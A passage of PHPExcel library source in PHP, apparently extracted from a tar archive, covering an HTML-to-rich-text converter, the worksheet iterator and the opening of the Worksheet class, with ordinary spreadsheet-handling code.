'mediumorchid4' => '7a378b', 'mediumpurple' => '9370db', 'mediumpurple1' => 'ab82ff', 'mediumpurple2' => '9f79ee', 'mediumpurple3' => '8968cd', 'mediumpurple4' => '5d478b', 'mediumseagreen' => '3cb371', 'mediumslateblue' => '7b68ee', 'mediumspringgreen' => '00fa9a', 'mediumturquoise' => '48d1cc', 'mediumvioletred' => 'c71585', 'midnightblue' => '191970', 'mintcream' => 'f5fffa', 'mistyrose1' => 'ffe4e1', 'mistyrose2' => 'eed5d2', 'mistyrose3' => 'cdb7b5', 'mistyrose4' => '8b7d7b', 'moccasin' => 'ffe4b5', 'navajowhite1' => 'ffdead', 'navajowhite2' => 'eecfa1', 'navajowhite3' => 'cdb38b', 'navajowhite4' => '8b795e', 'navy' => '000080', 'navyblue' => '000080', 'oldlace' => 'fdf5e6', 'olive' => '808000', 'olivedrab' => '6b8e23', 'olivedrab1' => 'c0ff3e', 'olivedrab2' => 'b3ee3a', 'olivedrab4' => '698b22', 'orange' => 'ffa500', 'orange1' => 'ffa500', 'orange2' => 'ee9a00', 'orange3' => 'cd8500', 'orange4' => '8b5a00', 'orangered1' => 'ff4500', 'orangered2' => 'ee4000', 'orangered3' => 'cd3700', 'orangered4' => '8b2500', 'orchid' => 'da70d6', 'orchid1' => 'ff83fa', 'orchid2' => 'ee7ae9', 'orchid3' => 'cd69c9', 'orchid4' => '8b4789', 'pale' => 'db7093', 'palegoldenrod' => 'eee8aa', 'palegreen' => '98fb98', 'palegreen1' => '9aff9a', 'palegreen2' => '90ee90', 'palegreen3' => '7ccd7c', 'palegreen4' => '548b54', 'paleturquoise' => 'afeeee', 'paleturquoise1' => 'bbffff', 'paleturquoise2' => 'aeeeee', 'paleturquoise3' => '96cdcd', 'paleturquoise4' => '668b8b', 'palevioletred' => 'db7093', 'palevioletred1' => 'ff82ab', 'palevioletred2' => 'ee799f', 'palevioletred3' => 'cd6889', 'palevioletred4' => '8b475d', 'papayawhip' => 'ffefd5', 'peachpuff1' => 'ffdab9', 'peachpuff2' => 'eecbad', 'peachpuff3' => 'cdaf95', 'peachpuff4' => '8b7765', 'pink' => 'ffc0cb', 'pink1' => 'ffb5c5', 'pink2' => 'eea9b8', 'pink3' => 'cd919e', 'pink4' => '8b636c', 'plum' => 'dda0dd', 'plum1' => 'ffbbff', 'plum2' => 'eeaeee', 'plum3' => 'cd96cd', 'plum4' => '8b668b', 'powderblue' => 'b0e0e6', 'purple' => 'a020f0', 'rebeccapurple' => '663399', 'purple1' => '9b30ff', 'purple2' => '912cee', 'purple3' => '7d26cd', 'purple4' => '551a8b', 'red' => 'ff0000', 'red1' => 'ff0000', 'red2' => 'ee0000', 'red3' => 'cd0000', 'red4' => '8b0000', 'rosybrown' => 'bc8f8f', 'rosybrown1' => 'ffc1c1', 'rosybrown2' => 'eeb4b4', 'rosybrown3' => 'cd9b9b', 'rosybrown4' => '8b6969', 'royalblue' => '4169e1', 'royalblue1' => '4876ff', 'royalblue2' => '436eee', 'royalblue3' => '3a5fcd', 'royalblue4' => '27408b', 'saddlebrown' => '8b4513', 'salmon' => 'fa8072', 'salmon1' => 'ff8c69', 'salmon2' => 'ee8262', 'salmon3' => 'cd7054', 'salmon4' => '8b4c39', 'sandybrown' => 'f4a460', 'seagreen1' => '54ff9f', 'seagreen2' => '4eee94', 'seagreen3' => '43cd80', 'seagreen4' => '2e8b57', 'seashell1' => 'fff5ee', 'seashell2' => 'eee5de', 'seashell3' => 'cdc5bf', 'seashell4' => '8b8682', 'sienna' => 'a0522d', 'sienna1' => 'ff8247', 'sienna2' => 'ee7942', 'sienna3' => 'cd6839', 'sienna4' => '8b4726', 'silver' => 'c0c0c0', 'skyblue' => '87ceeb', 'skyblue1' => '87ceff', 'skyblue2' => '7ec0ee', 'skyblue3' => '6ca6cd', 'skyblue4' => '4a708b', 'slateblue' => '6a5acd', 'slateblue1' => '836fff', 'slateblue2' => '7a67ee', 'slateblue3' => '6959cd', 'slateblue4' => '473c8b', 'slategray' => '708090', 'slategray1' => 'c6e2ff', 'slategray2' => 'b9d3ee', 'slategray3' => '9fb6cd', 'slategray4' => '6c7b8b', 'snow1' => 'fffafa', 'snow2' => 'eee9e9', 'snow3' => 'cdc9c9', 'snow4' => '8b8989', 'springgreen1' => '00ff7f', 'springgreen2' => '00ee76', 'springgreen3' => '00cd66', 'springgreen4' => '008b45', 'steelblue' => '4682b4', 'steelblue1' => '63b8ff', 'steelblue2' => '5cacee', 'steelblue3' => '4f94cd', 'steelblue4' => '36648b', 'tan' => 'd2b48c', 'tan1' => 'ffa54f', 'tan2' => 'ee9a49', 'tan3' => 'cd853f', 'tan4' => '8b5a2b', 'teal' => '008080', 'thistle' => 'd8bfd8', 'thistle1' => 'ffe1ff', 'thistle2' => 'eed2ee', 'thistle3' => 'cdb5cd', 'thistle4' => '8b7b8b', 'tomato1' => 'ff6347', 'tomato2' => 'ee5c42', 'tomato3' => 'cd4f39', 'tomato4' => '8b3626', 'turquoise' => '40e0d0', 'turquoise1' => '00f5ff', 'turquoise2' => '00e5ee', 'turquoise3' => '00c5cd', 'turquoise4' => '00868b', 'violet' => 'ee82ee', 'violetred' => 'd02090', 'violetred1' => 'ff3e96', 'violetred2' => 'ee3a8c', 'violetred3' => 'cd3278', 'violetred4' => '8b2252', 'wheat' => 'f5deb3', 'wheat1' => 'ffe7ba', 'wheat2' => 'eed8ae', 'wheat3' => 'cdba96', 'wheat4' => '8b7e66', 'white' => 'ffffff', 'whitesmoke' => 'f5f5f5', 'yellow' => 'ffff00', 'yellow1' => 'ffff00', 'yellow2' => 'eeee00', 'yellow3' => 'cdcd00', 'yellow4' => '8b8b00', 'yellowgreen' => '9acd32', ); protected $face; protected $size; protected $color; protected $bold = false; protected $italic = false; protected $underline = false; protected $superscript = false; protected $subscript = false; protected $strikethrough = false; protected $startTagCallbacks = array( 'font' => 'startFontTag', 'b' => 'startBoldTag', 'strong' => 'startBoldTag', 'i' => 'startItalicTag', 'em' => 'startItalicTag', 'u' => 'startUnderlineTag', 'ins' => 'startUnderlineTag', 'del' => 'startStrikethruTag', 'sup' => 'startSuperscriptTag', 'sub' => 'startSubscriptTag', ); protected $endTagCallbacks = array( 'font' => 'endFontTag', 'b' => 'endBoldTag', 'strong' => 'endBoldTag', 'i' => 'endItalicTag', 'em' => 'endItalicTag', 'u' => 'endUnderlineTag', 'ins' => 'endUnderlineTag', 'del' => 'endStrikethruTag', 'sup' => 'endSuperscriptTag', 'sub' => 'endSubscriptTag', 'br' => 'breakTag', 'p' => 'breakTag', 'h1' => 'breakTag', 'h2' => 'breakTag', 'h3' => 'breakTag', 'h4' => 'breakTag', 'h5' => 'breakTag', 'h6' => 'breakTag', ); protected $stack = array(); protected $stringData = ''; protected $richTextObject; protected function initialise() { $this->face = $this->size = $this->color = null; $this->bold = $this->italic = $this->underline = $this->superscript = $this->subscript = $this->strikethrough = false; $this->stack = array(); $this->stringData = ''; } public function toRichTextObject($html) { $this->initialise(); // Create a new DOM object $dom = new \DOMDocument; // Load the HTML file into the DOM object // Note the use of error suppression, because typically this will be an html fragment, so not fully valid markup $loaded = @$dom->loadHTML($html); // Discard excess white space $dom->preserveWhiteSpace = false; $this->richTextObject = new PHPExcel_RichText();; $this->parseElements($dom); // Clean any further spurious whitespace $this->cleanWhitespace(); return $this->richTextObject; } protected function cleanWhitespace() { foreach ($this->richTextObject->getRichTextElements() as $key => $element) { $text = $element->getText(); // Trim any leading spaces on the first run if ($key == 0) { $text = ltrim($text); } // Trim any spaces immediately after a line break $text = preg_replace('/\n */mu', "\n", $text); $element->setText($text); } } protected function buildTextRun() { $text = $this->stringData; if (trim($text) === '') { return; } $richtextRun = $this->richTextObject->createTextRun($this->stringData); if ($this->face) { $richtextRun->getFont()->setName($this->face); } if ($this->size) { $richtextRun->getFont()->setSize($this->size); } if ($this->color) { $richtextRun->getFont()->setColor(new PHPExcel_Style_Color('ff' . $this->color)); } if ($this->bold) { $richtextRun->getFont()->setBold(true); } if ($this->italic) { $richtextRun->getFont()->setItalic(true); } if ($this->underline) { $richtextRun->getFont()->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE); } if ($this->superscript) { $richtextRun->getFont()->setSuperScript(true); } if ($this->subscript) { $richtextRun->getFont()->setSubScript(true); } if ($this->strikethrough) { $richtextRun->getFont()->setStrikethrough(true); } $this->stringData = ''; } protected function rgbToColour($rgb) { preg_match_all('/\d+/', $rgb, $values); foreach ($values[0] as &$value) { $value = str_pad(dechex($value), 2, '0', STR_PAD_LEFT); } return implode($values[0]); } protected function colourNameLookup($rgb) { return self::$colourMap[$rgb]; } protected function startFontTag($tag) { foreach ($tag->attributes as $attribute) { $attributeName = strtolower($attribute->name); $attributeValue = $attribute->value; if ($attributeName == 'color') { if (preg_match('/rgb\s*\(/', $attributeValue)) { $this->$attributeName = $this->rgbToColour($attributeValue); } elseif (strpos(trim($attributeValue), '#') === 0) { $this->$attributeName = ltrim($attributeValue, '#'); } else { $this->$attributeName = $this->colourNameLookup($attributeValue); } } else { $this->$attributeName = $attributeValue; } } } protected function endFontTag() { $this->face = $this->size = $this->color = null; } protected function startBoldTag() { $this->bold = true; } protected function endBoldTag() { $this->bold = false; } protected function startItalicTag() { $this->italic = true; } protected function endItalicTag() { $this->italic = false; } protected function startUnderlineTag() { $this->underline = true; } protected function endUnderlineTag() { $this->underline = false; } protected function startSubscriptTag() { $this->subscript = true; } protected function endSubscriptTag() { $this->subscript = false; } protected function startSuperscriptTag() { $this->superscript = true; } protected function endSuperscriptTag() { $this->superscript = false; } protected function startStrikethruTag() { $this->strikethrough = true; } protected function endStrikethruTag() { $this->strikethrough = false; } protected function breakTag() { $this->stringData .= "\n"; } protected function parseTextNode(DOMText $textNode) { $domText = preg_replace( '/\s+/u', ' ', str_replace(array("\r", "\n"), ' ', $textNode->nodeValue) ); $this->stringData .= $domText; $this->buildTextRun(); } protected function handleCallback($element, $callbackTag, $callbacks) { if (isset($callbacks[$callbackTag])) { $elementHandler = $callbacks[$callbackTag]; if (method_exists($this, $elementHandler)) { call_user_func(array($this, $elementHandler), $element); } } } protected function parseElementNode(DOMElement $element) { $callbackTag = strtolower($element->nodeName); $this->stack[] = $callbackTag; $this->handleCallback($element, $callbackTag, $this->startTagCallbacks); $this->parseElements($element); array_pop($this->stack); $this->handleCallback($element, $callbackTag, $this->endTagCallbacks); } protected function parseElements(DOMNode $element) { foreach ($element->childNodes as $child) { if ($child instanceof DOMText) { $this->parseTextNode($child); } elseif ($child instanceof DOMElement) { $this->parseElementNode($child); } } } } PHPExcel/WorksheetIterator.php 0000644 00000004557 14642534110 0012365 0 ustar 00 <?php /** * PHPExcel_WorksheetIterator * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_WorksheetIterator implements Iterator { /** * Spreadsheet to iterate * * @var PHPExcel */ private $subject; /** * Current iterator position * * @var int */ private $position = 0; /** * Create a new worksheet iterator * * @param PHPExcel $subject */ public function __construct(PHPExcel $subject = null) { // Set subject $this->subject = $subject; } /** * Destructor */ public function __destruct() { unset($this->subject); } /** * Rewind iterator */ public function rewind() { $this->position = 0; } /** * Current PHPExcel_Worksheet * * @return PHPExcel_Worksheet */ public function current() { return $this->subject->getSheet($this->position); } /** * Current key * * @return int */ public function key() { return $this->position; } /** * Next value */ public function next() { ++$this->position; } /** * More PHPExcel_Worksheet instances available? * * @return boolean */ public function valid() { return $this->position < $this->subject->getSheetCount(); } } PHPExcel/Worksheet.php 0000644 00000270155 14642534110 0010652 0 ustar 00 <?php /** * PHPExcel_Worksheet * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Worksheet * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Worksheet implements PHPExcel_IComparable { /* Break types */ const BREAK_NONE = 0; const BREAK_ROW = 1; const BREAK_COLUMN = 2; /* Sheet state */ const SHEETSTATE_VISIBLE = 'visible'; const SHEETSTATE_HIDDEN = 'hidden'; const SHEETSTATE_VERYHIDDEN = 'veryHidden'; /** * Invalid characters in sheet title * * @var array */ private static $invalidCharacters = array('*', ':', '/', '\\', '?', '[', ']'); /** * Parent spreadsheet * * @var PHPExcel */ private $parent; /** * Cacheable collection of cells * * @var PHPExcel_CachedObjectStorage_xxx */ private $cellCollection; /** * Collection of row dimensions * * @var PHPExcel_Worksheet_RowDimension[] */ private $rowDimensions = array(); /** * Default row dimension * * @var PHPExcel_Worksheet_RowDimension */ private $defaultRowDimension; /** * Collection of column dimensions * * @var PHPExcel_Worksheet_ColumnDimension[] */ private $columnDimensions = array(); /** * Default column dimension * * @var PHPExcel_Worksheet_ColumnDimension */ private $defaultColumnDimension = null; /** * Collection of drawings * * @var PHPExcel_Worksheet_BaseDrawing[] */ private $drawingCollection = null; /** * Collection of Chart objects * * @var PHPExcel_Chart[] */ private $chartCollection = array(); /** * Worksheet title * * @var string */ private $title; /** * Sheet state * * @var string */ private $sheetState; /** * Page setup * * @var PHPExcel_Worksheet_PageSetup */ private $pageSetup; /** * Page margins * * @var PHPExcel_Worksheet_PageMargins */ private $pageMargins; /** * Page header/footer * * @var PHPExcel_Worksheet_HeaderFooter */ private $headerFooter; /** * Sheet view * * @var PHPExcel_Worksheet_SheetView */ private $sheetView; /** * Protection * * @var PHPExcel_Worksheet_Protection */ private $protection; /** * Collection of styles * * @var PHPExcel_Style[] */ private $styles = array(); /** * Conditional styles. Indexed by cell coordinate, e.g. 'A1' * * @var array */ private $conditionalStylesCollection = array(); /** * Is the current cell collection sorted already? * * @var boolean */ private $cellCollectionIsSorted = false; /** * Collection of breaks * * @var array */ private $breaks = array(); /** * Collection of merged cell ranges * * @var array */ private $mergeCells = array(); /** * Collection of protected cell ranges * * @var array */ private $protectedCells = array(); /** * Autofilter Range and selection * * @var PHPExcel_Worksheet_AutoFilter */ private $autoFilter; /** * Freeze pane * * @var string */ private $freezePane = ''; /** * Show gridlines? * * @var boolean */ private $showGridlines = true; /** * Print gridlines? * * @var boolean */ private $printGridlines = false; /** * Show row and column headers? * * @var boolean */ private $showRowColHeaders = true; /** * Show summary below? (Row/Column outline) * * @var boolean */ private $showSummaryBelow = true; /** * Show summary right? (Row/Column outline) * * @var boolean */ private $showSummaryRight = true; /** * Collection of comments * * @var PHPExcel_Comment[] */ private $comments = array(); /** * Active cell. (Only one!) * * @var string */ private $activeCell = 'A1'; /** * Selected cells * * @var string */ private $selectedCells = 'A1'; /** * Cached highest column * * @var string */ private $cachedHighestColumn = 'A'; /** * Cached highest row * * @var int */ private $cachedHighestRow = 1; /** * Right-to-left? * * @var boolean */ private $rightToLeft = false; /** * Hyperlinks. Indexed by cell coordinate, e.g. 'A1' * * @var array */ private $hyperlinkCollection = array(); /** * Data validation objects. Indexed by cell coordinate, e.g. 'A1' * * @var array */ private $dataValidationCollection = array(); /** * Tab color * * @var PHPExcel_Style_Color */ private $tabColor; /** * Dirty flag * * @var boolean */ private $dirty = true; /** * Hash * * @var string */ private $hash; /** * CodeName * * @var string */ private $codeName = null; /** * Create a new worksheet * * @param PHPExcel $pParent * @param string $pTitle */ public function __construct(PHPExcel $pParent = null, $pTitle = 'Worksheet') { // Set parent and title $this->parent = $pParent; $this->setTitle($pTitle, false); // setTitle can change $pTitle $this->setCodeName($this->getTitle()); $this->setSheetState(PHPExcel_Worksheet::SHEETSTATE_VISIBLE); $this->cellCollection = PHPExcel_CachedObjectStorageFactory::getInstance($this); // Set page setup $this->pageSetup = new PHPExcel_Worksheet_PageSetup(); // Set page margins $this->pageMargins = new PHPExcel_Worksheet_PageMargins(); // Set page header/footer $this->headerFooter = new PHPExcel_Worksheet_HeaderFooter(); // Set sheet view $this->sheetView = new PHPExcel_Worksheet_SheetView(); // Drawing collection $this->drawingCollection = new ArrayObject(); // Chart collection $this->chartCollection = new ArrayObject(); // Protection $this->protection = new PHPExcel_Worksheet_Protection(); // Default row dimension $this->defaultRowDimension = new PHPExcel_Worksheet_RowDimension(null); // Default column dimension $this->defaultColumnDimension = new PHPExcel_Worksheet_ColumnDimension(null); $this->autoFilter = new PHPExcel_Worksheet_AutoFilter(null, $this); } /** * Disconnect all cells from this PHPExcel_Worksheet object, * typically so that the worksheet object can be unset * */ public function disconnectCells() { if ($this->cellCollection !== null) { $this->cellCollection->unsetWorksheetCells(); $this->cellCollection = null; } // detach ourself from the workbook, so that it can then delete this worksheet successfully $this->parent = null; } /** * Code to execute when this worksheet is unset() * */ public function __destruct() { PHPExcel_Calculation::getInstance($this->parent)->clearCalculationCacheForWorksheet($this->title); $this->disconnectCells(); } /** * Return the cache controller for the cell collection * * @return PHPExcel_CachedObjectStorage_xxx */ public function getCellCacheController() { return $this->cellCollection; } /** * Get array of invalid characters for sheet title * * @return array */ public static function getInvalidCharacters() { return self::$invalidCharacters; } /** * Check sheet code name for valid Excel syntax * * @param string $pValue The string to check * @return string The valid string * @throws Exception */ private static function checkSheetCodeName($pValue) { $CharCount = PHPExcel_Shared_String::CountCharacters($pValue); if ($CharCount == 0) { throw new PHPExcel_Exception('Sheet code name cannot be empty.'); } // Some of the printable ASCII characters are invalid: * : / \ ? [ ] and first and last characters cannot be a "'" if ((str_replace(self::$invalidCharacters, '', $pValue) !== $pValue) || (PHPExcel_Shared_String::Substring($pValue, -1, 1)=='\'') || (PHPExcel_Shared_String::Substring($pValue, 0, 1)=='\'')) { throw new PHPExcel_Exception('Invalid character found in sheet code name'); } // Maximum 31 characters allowed for sheet title if ($CharCount > 31) { throw new PHPExcel_Exception('Maximum 31 characters allowed in sheet code name.'); } return $pValue; } /** * Check sheet title for valid Excel syntax * * @param string $pValue The string to check * @return string The valid string * @throws PHPExcel_Exception */ private static function checkSheetTitle($pValue) { // Some of the printable ASCII characters are invalid: * : / \ ? [ ] if (str_replace(self::$invalidCharacters, '', $pValue) !== $pValue) { throw new PHPExcel_Exception('Invalid character found in sheet title'); } // Maximum 31 characters allowed for sheet title if (PHPExcel_Shared_String::CountCharacters($pValue) > 31) { throw new PHPExcel_Exception('Maximum 31 characters allowed in sheet title.'); } return $pValue; } /** * Get collection of cells * * @param boolean $pSorted Also sort the cell collection? * @return PHPExcel_Cell[] */ public function getCellCollection($pSorted = true) { if ($pSorted) { // Re-order cell collection return $this->sortCellCollection(); } if ($this->cellCollection !== null) { return $this->cellCollection->getCellList(); } return array(); } /** * Sort collection of cells * * @return PHPExcel_Worksheet */ public function sortCellCollection() { if ($this->cellCollection !== null) { return $this->cellCollection->getSortedCellList(); } return array(); } /** * Get collection of row dimensions * * @return PHPExcel_Worksheet_RowDimension[] */ public function getRowDimensions() { return $this->rowDimensions; } /** * Get default row dimension * * @return PHPExcel_Worksheet_RowDimension */ public function getDefaultRowDimension() { return $this->defaultRowDimension; } /** * Get collection of column dimensions * * @return PHPExcel_Worksheet_ColumnDimension[] */ public function getColumnDimensions() { return $this->columnDimensions; } /** * Get default column dimension * * @return PHPExcel_Worksheet_ColumnDimension */ public function getDefaultColumnDimension() { return $this->defaultColumnDimension; } /** * Get collection of drawings * * @return PHPExcel_Worksheet_BaseDrawing[] */ public function getDrawingCollection() { return $this->drawingCollection; } /** * Get collection of charts * * @return PHPExcel_Chart[] */ public function getChartCollection() { return $this->chartCollection; } /** * Add chart * * @param PHPExcel_Chart $pChart * @param int|null $iChartIndex Index where chart should go (0,1,..., or null for last) * @return PHPExcel_Chart */ public function addChart(PHPExcel_Chart $pChart = null, $iChartIndex = null) { $pChart->setWorksheet($this); if (is_null($iChartIndex)) { $this->chartCollection[] = $pChart; } else { // Insert the chart at the requested index array_splice($this->chartCollection, $iChartIndex, 0, array($pChart)); } return $pChart; } /** * Return the count of charts on this worksheet * * @return int The number of charts */ public function getChartCount() { return count($this->chartCollection); } /** * Get a chart by its index position * * @param string $index Chart index position * @return false|PHPExcel_Chart * @throws PHPExcel_Exception */ public function getChartByIndex($index = null) { $chartCount = count($this->chartCollection); if ($chartCount == 0) { return false; } if (is_null($index)) { $index = --$chartCount; } if (!isset($this->chartCollection[$index])) { return false; } return $this->chartCollection[$index]; } /** * Return an array of the names of charts on this worksheet * * @return string[] The names of charts * @throws PHPExcel_Exception */ public function getChartNames() { $chartNames = array(); foreach ($this->chartCollection as $chart) { $chartNames[] = $chart->getName(); } return $chartNames; } /** * Get a chart by name * * @param string $chartName Chart name * @return false|PHPExcel_Chart * @throws PHPExcel_Exception */ public function getChartByName($chartName = '') { $chartCount = count($this->chartCollection); if ($chartCount == 0) { return false; } foreach ($this->chartCollection as $index => $chart) { if ($chart->getName() == $chartName) { return $this->chartCollection[$index]; } } return false; } /** * Refresh column dimensions * * @return PHPExcel_Worksheet */ public function refreshColumnDimensions() { $currentColumnDimensions = $this->getColumnDimensions(); $newColumnDimensions = array(); foreach ($currentColumnDimensions as $objColumnDimension) { $newColumnDimensions[$objColumnDimension->getColumnIndex()] = $objColumnDimension; } $this->columnDimensions = $newColumnDimensions; return $this; } /** * Refresh row dimensions * * @return PHPExcel_Worksheet */ public function refreshRowDimensions() { $currentRowDimensions = $this->getRowDimensions(); $newRowDimensions = array(); foreach ($currentRowDimensions as $objRowDimension) { $newRowDimensions[$objRowDimension->getRowIndex()] = $objRowDimension; } $this->rowDimensions = $newRowDimensions; return $this; } /** * Calculate worksheet dimension * * @return string String containing the dimension of this worksheet */ public function calculateWorksheetDimension() { // Return return 'A1' . ':' . $this->getHighestColumn() . $this->getHighestRow(); } /** * Calculate worksheet data dimension * * @return string String containing the dimension of this worksheet that actually contain data */ public function calculateWorksheetDataDimension() { // Return return 'A1' . ':' . $this->getHighestDataColumn() . $this->getHighestDataRow(); } /** * Calculate widths for auto-size columns * * @param boolean $calculateMergeCells Calculate merge cell width * @return PHPExcel_Worksheet; */ public function calculateColumnWidths($calculateMergeCells = false) { // initialize $autoSizes array $autoSizes = array(); foreach ($this->getColumnDimensions() as $colDimension) { if ($colDimension->getAutoSize()) { $autoSizes[$colDimension->getColumnIndex()] = -1; } } // There is only something to do if there are some auto-size columns if (!empty($autoSizes)) { // build list of cells references that participate in a merge $isMergeCell = array(); foreach ($this->getMergeCells() as $cells) { foreach (PHPExcel_Cell::extractAllCellReferencesInRange($cells) as $cellReference) { $isMergeCell[$cellReference] = true; } } // loop through all cells in the worksheet foreach ($this->getCellCollection(false) as $cellID) { $cell = $this->getCell($cellID, false); if ($cell !== null && isset($autoSizes[$this->cellCollection->getCurrentColumn()])) { // Determine width if cell does not participate in a merge if (!isset($isMergeCell[$this->cellCollection->getCurrentAddress()])) { // Calculated value // To formatted string $cellValue = PHPExcel_Style_NumberFormat::toFormattedString( $cell->getCalculatedValue(), $this->getParent()->getCellXfByIndex($cell->getXfIndex())->getNumberFormat()->getFormatCode() ); $autoSizes[$this->cellCollection->getCurrentColumn()] = max( (float) $autoSizes[$this->cellCollection->getCurrentColumn()], (float)PHPExcel_Shared_Font::calculateColumnWidth( $this->getParent()->getCellXfByIndex($cell->getXfIndex())->getFont(), $cellValue, $this->getParent()->getCellXfByIndex($cell->getXfIndex())->getAlignment()->getTextRotation(), $this->getDefaultStyle()->getFont() ) ); } } } // adjust column widths foreach ($autoSizes as $columnIndex => $width) { if ($width == -1) { $width = $this->getDefaultColumnDimension()->getWidth(); } $this->getColumnDimension($columnIndex)->setWidth($width); } } return $this; } /** * Get parent * * @return PHPExcel */ public function getParent() { return $this->parent; } /** * Re-bind parent * * @param PHPExcel $parent * @return PHPExcel_Worksheet */ public function rebindParent(PHPExcel $parent) { if ($this->parent !== null) { $namedRanges = $this->parent->getNamedRanges(); foreach ($namedRanges as $namedRange) { $parent->addNamedRange($namedRange); } $this->parent->removeSheetByIndex( $this->parent->getIndex($this) ); } $this->parent = $parent; return $this; } /** * Get title * * @return string */ public function getTitle() { return $this->title; } /** * Set title * * @param string $pValue String containing the dimension of this worksheet * @param string $updateFormulaCellReferences boolean Flag indicating whether cell references in formulae should * be updated to reflect the new sheet name. * This should be left as the default true, unless you are * certain that no formula cells on any worksheet contain * references to this worksheet * @return PHPExcel_Worksheet */ public function setTitle($pValue = 'Worksheet', $updateFormulaCellReferences = true) { // Is this a 'rename' or not? if ($this->getTitle() == $pValue) { return $this; } // Syntax check self::checkSheetTitle($pValue); // Old title $oldTitle = $this->getTitle(); if ($this->parent) { // Is there already such sheet name? if ($this->parent->sheetNameExists($pValue)) { // Use name, but append with lowest possible integer if (PHPExcel_Shared_String::CountCharacters($pValue) > 29) { $pValue = PHPExcel_Shared_String::Substring($pValue, 0, 29); } $i = 1; while ($this->parent->sheetNameExists($pValue . ' ' . $i)) { ++$i; if ($i == 10) { if (PHPExcel_Shared_String::CountCharacters($pValue) > 28) { $pValue = PHPExcel_Shared_String::Substring($pValue, 0, 28); } } elseif ($i == 100) { if (PHPExcel_Shared_String::CountCharacters($pValue) > 27) { $pValue = PHPExcel_Shared_String::Substring($pValue, 0, 27); } } } $altTitle = $pValue . ' ' . $i; return $this->setTitle($altTitle, $updateFormulaCellReferences); } } // Set title $this->title = $pValue; $this->dirty = true; if ($this->parent && $this->parent->getCalculationEngine()) { // New title $newTitle = $this->getTitle(); $this->parent->getCalculationEngine() ->renameCalculationCacheForWorksheet($oldTitle, $newTitle); if ($updateFormulaCellReferences) { PHPExcel_ReferenceHelper::getInstance()->updateNamedFormulas($this->parent, $oldTitle, $newTitle); } } return $this; } /** * Get sheet state * * @return string Sheet state (visible, hidden, veryHidden) */ public function getSheetState() { return $this->sheetState; } /** * Set sheet state * * @param string $value Sheet state (visible, hidden, veryHidden) * @return PHPExcel_Worksheet */ public function setSheetState($value = PHPExcel_Worksheet::SHEETSTATE_VISIBLE) { $this->sheetState = $value; return $this; } /** * Get page setup * * @return PHPExcel_Worksheet_PageSetup */ public function getPageSetup() { return $this->pageSetup; } /** * Set page setup * * @param PHPExcel_Worksheet_PageSetup $pValue * @return PHPExcel_Worksheet */ public function setPageSetup(PHPExcel_Worksheet_PageSetup $pValue) { $this->pageSetup = $pValue; return $this; } /** * Get page margins * * @return PHPExcel_Worksheet_PageMargins */ public function getPageMargins() { return $this->pageMargins; } /** * Set page margins * * @param PHPExcel_Worksheet_PageMargins $pValue * @return PHPExcel_Worksheet */ public function setPageMargins(PHPExcel_Worksheet_PageMargins $pValue) { $this->pageMargins = $pValue; return $this; } /** * Get page header/footer * * @return PHPExcel_Worksheet_HeaderFooter */ public function getHeaderFooter() { return $this->headerFooter; } /** * Set page header/footer * * @param PHPExcel_Worksheet_HeaderFooter $pValue * @return PHPExcel_Worksheet */ public function setHeaderFooter(PHPExcel_Worksheet_HeaderFooter $pValue) { $this->headerFooter = $pValue; return $this; } /** * Get sheet view * * @return PHPExcel_Worksheet_SheetView */ public function getSheetView() { return $this->sheetView; } /** * Set sheet view * * @param PHPExcel_Worksheet_SheetView $pValue * @return PHPExcel_Worksheet */ public function setSheetView(PHPExcel_Worksheet_SheetView $pValue) { $this->sheetView = $pValue; return $this; } /** * Get Protection * * @return PHPExcel_Worksheet_Protection */ public function getProtection() { return $this->protection; } /** * Set Protection * * @param PHPExcel_Worksheet_Protection $pValue * @return PHPExcel_Worksheet */ public function setProtection(PHPExcel_Worksheet_Protection $pValue) { $this->protection = $pValue; $this->dirty = true; return $this; } /** * Get highest worksheet column * * @param string $row Return the data highest column for the specified row, * or the highest column of any row if no row number is passed * @return string Highest column name */ public function getHighestColumn($row = null) { if ($row == null) { return $this->cachedHighestColumn; } return $this->getHighestDataColumn($row); } /** * Get highest worksheet column that contains data * * @param string $row Return the highest data column for the specified row, * or the highest data column of any row if no row number is passed * @return string Highest column name that contains data */ public function getHighestDataColumn($row = null) { return $this->cellCollection->getHighestColumn($row); } /** * Get highest worksheet row * * @param string $column Return the highest data row for the specified column, * or the highest row of any column if no column letter is passed * @return int Highest row number */ public function getHighestRow($column = null) { if ($column == null) { return $this->cachedHighestRow; } return $this->getHighestDataRow($column); } /** * Get highest worksheet row that contains data * * @param string $column Return the highest data row for the specified column, * or the highest data row of any column if no column letter is passed * @return string Highest row number that contains data */ public function getHighestDataRow($column = null) { return $this->cellCollection->getHighestRow($column); } /** * Get highest worksheet column and highest row that have cell records * * @return array Highest column name and highest row number */ public function getHighestRowAndColumn() { return $this->cellCollection->getHighestRowAndColumn(); } /** * Set a cell value * * @param string $pCoordinate Coordinate of the cell * @param mixed $pValue Value of the cell * @param bool $returnCell Return the worksheet (false, default) or the cell (true) 